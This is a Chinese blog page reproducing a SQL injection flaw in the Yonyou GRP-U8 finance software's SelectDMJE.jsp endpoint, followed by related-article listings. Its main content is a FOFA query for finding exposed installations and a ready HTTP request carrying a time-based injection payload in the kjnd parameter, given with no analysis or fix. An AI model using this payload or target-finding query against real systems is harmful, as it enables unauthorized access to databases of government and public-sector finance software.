【漏洞复现】用友GRP-U8 SelectDMJE.jsp SQL注入漏洞

最新推荐文章于 2024-07-08 17:54:51 发布

柯达_

最新推荐文章于 2024-07-08 17:54:51 发布

阅读量551

点赞数 9

文章标签： sql 安全数据库

本文链接：https://blog.csdn.net/m0_64366018/article/details/135842295

版权

0x01 fofa语句

app="用友GRP-U8"

0x02 payload

GET /u8qx/SelectDMJE.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close

关注博主即可阅读全文

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

柯达_

关注关注

9
点赞
踩
7

收藏

觉得还不错? 一键收藏
0
评论
【漏洞复现】用友GRP-U8 SelectDMJE.jsp SQL注入漏洞

【代码】【漏洞复现】用友GRP-U8 SelectDMJE.jsp SQL注入漏洞。
复制链接

扫一扫

用友GRP-U8 SelectDMJE.jsp SQL注入漏洞复现

0xSec

01-18

501

用友GRP-U8R10行政事业内控管理软件SelectDMJE.jsp接口处存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

用友GRP-U8 sqcxIndex.jsp SQL注入致RCE漏洞复现(XVE-2024-12560)

0xSec

05-27

473

用友GRP-U8R10行政事业内控管理软件sqcxIndex.jsp 接口处存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

参与评论您还未登录，请先登录后发表或查看评论

用友 GRP-U8 存在sql注入漏洞复现

zkaqlaoniao的博客

10-30

1227

Track 安全社区 — 掌控安全在线教育- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者info:name: 用友GRP-U8 License Check漏洞requests:path:kjnd=1';matchers:dsl:还没看够？可以关注~免费领取安全学习资料包！（私聊进群一起学习，共同进步）渗透工具技术文档、书籍面试题帮助你在面试中脱颖而出视频基础到进阶。

【漏洞复现】用友GPR-U8 slbmbygr SQL注入漏洞

今天是几号的博客

10-03

1472

在这里插入图片描述](https://img-blog.csdnimg.cn/fe260ff4d6d14abeb0e576e4bbf3c385.png。用友GRP-U8是面向政府及行政事业单位的财政管理应用。北京用友政务软件有限公司GRP-U8 SQL注入漏洞。POC：拼接/u8qx/slbmbygr.jsp?使用SQLmap进行注入利用。

用友GRP-U8 SQL注入漏洞复现

10-20

460

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域最专业的政府财务管理软件。

用友GRP-u8 注入-RCE漏洞

maverickpig的博客

07-09

5654

用友GRP-u8 注入-RCE漏洞工作中遇到的漏洞，基于前人的复现教程成功复现，记录下自己的复现笔记，如有侵权，请联系我删除漏洞详情用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域最专业的政府财务管理软件。该系统被曝存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载恶意外部文件。最终产生两种后果，一是可以进行SQL注入，执行SQL语句；二是导致命令执行，当用户可以控制命令执行函数中

用友GRP-U8 SelectDMJE.jsp存在SQL注入漏洞

qq_39573664的博客

01-24

550

用友GRP-U8R10行政事业内控管理软件在SelectDMJE.jsp接口存在潜在的SQL注入漏洞，未经授权的攻击者有可能利用这个漏洞获取对数据库的权限。进一步的攻击可能导致攻击者获取服务器权限，带来严重的安全风险。

GRP-U8行政事业内控管理软件V11.21安装教程

05-28

用友软件作为国内知名的ERP解决方案提供商，其开发的GRP-U8行政事业内控管理软件是一款专为政府机关、事业单位打造的信息化管理工具。该软件集成了财务管理、预算控制、采购管理、人力资源等多个模块，助力提升机构...

用友GRP-U8R10政务管理软件AO数据采集方法.pdf

11-04

用友GRP-U8R10政务管理软件AO数据采集方法本文将介绍如何使用用友GRP-U8R10政务管理软件实现AO数据采集的方法。该方法适用于审计过程中遇到的财务软件升级问题，即从用友GRP-R9 V9.7升级到用友GRP-U8R10，导致AO...

用友政务GRP-U8，近期常见问题85例解决方法

03-26

1.查询科目明细账会出现很多重复记录，2.查询明细账未按照凭证号排序3.自定义凭证打印，不打印上级科目名称：13.打开凭证箱慢15.期初余额装入中导入Excel文件报错，17.以前是双凭证模式，怎么调整为单凭证模式等等85...

用友Grp-U8明细账打印补丁publish.rar

10-09

本软件针对GRP-U8v10.5政务软件（政府会计制度）开发的明细账一次性打印补丁。开发环境：SQL2008R2（低版本数据尽量能升级后再使用本补丁）。 Grp-U8（B/C/G）补丁2019-12-31. 安装手册：本补丁为绿色版，注册...

用友GRP-U8财务管理软件国标数据接口输出操作方法资料.pdf

02-14

"用友GRP-U8财务管理软件国标数据接口输出操作方法资料" 用友GRP-U8财务管理软件是政府行政事业单位财务人员专用的财务管理软件。该软件通过了GB/T 24589认证，并严格遵循公司研发质量管理标准，执行GB/T 24589-...

LeetCode //SQL - 196. Delete Duplicate Emails

Made in Code

07-03

962

【代码】LeetCode //SQL - 196. Delete Duplicate Emails。

F4搜索帮助和按条件写sql

m0_60109224的博客

07-08

2.按条件读取刚刚写的sql数据，if sy-subrc 中可以继续读。3.搜索帮助用函数和sql实现。4.根据屏幕输入数据筛选实现。

SQL性能优化策略

最新发布

modelsetget的博客

07-08

162

你不得不知的SQL调优策略笔记

索引唯一约束问题SQL

clover_oreo的博客

07-08

252

这个问题可能是由于在Oracle APEX中，虽然你创建了一个名为"ISEQ_520227"的索引，但是在插入数据时，违反了唯一约束条件。这可能是因为你的数据表中已经存在相同的值，或者你的插入语句没有正确地使用这个索引。

PostgreSQL 如何处理海量小文件数据的存储和查询？

技术笔记

07-08

547

处理 PostgreSQL 中的海量小文件数据存储和查询是一个复杂的任务，需要考虑存储方式、查询优化、并发控制和性能调优等多个方面。根据实际的业务需求和数据特点，选择合适的解决方案，并不断进行测试和优化，以确保系统的性能和可靠性。🎉相关推荐🍅关注博主🎗️带你畅游技术世界，不错过每一次成长机会！📚领书：PostgreSQL 入门到精通.pdf📙PostgreSQL 中文手册📘PostgreSQL 技术专栏。

用友GRP-U8高校内控管理软件漏洞

07-28

引用\[1\]: 用友GRP-U8R10行政事业财务管理软件存在任意文件上传漏洞，攻击者可以通过该漏洞获取服务器权限。\[1\]该漏洞源于应用程序解析XML输入时没有禁止外部实体的加载，导致可加载恶意外部文件。最终产生两种后果，一是可以进行SQL注入，执行SQL语句；二是导致命令执行，当用户可以控制命令执行函数中的参数时，将可注入恶意系统命令到正常命令中，造成命令执行攻击。\[3\]因此，用友GRP-U8高校内控管理软件也可能存在类似的漏洞。请及时更新软件版本或采取其他安全措施以防止潜在的攻击。 #### 引用[.reference_title] - *1* [用友GRP-U8 U8AppProxy任意文件上传漏洞复现+利用](https://blog.csdn.net/qq_41904294/article/details/129693405)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [用友 GRP-U8 Proxy XXE-SQL注入漏洞](https://blog.csdn.net/weixin_46944519/article/details/127225867)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交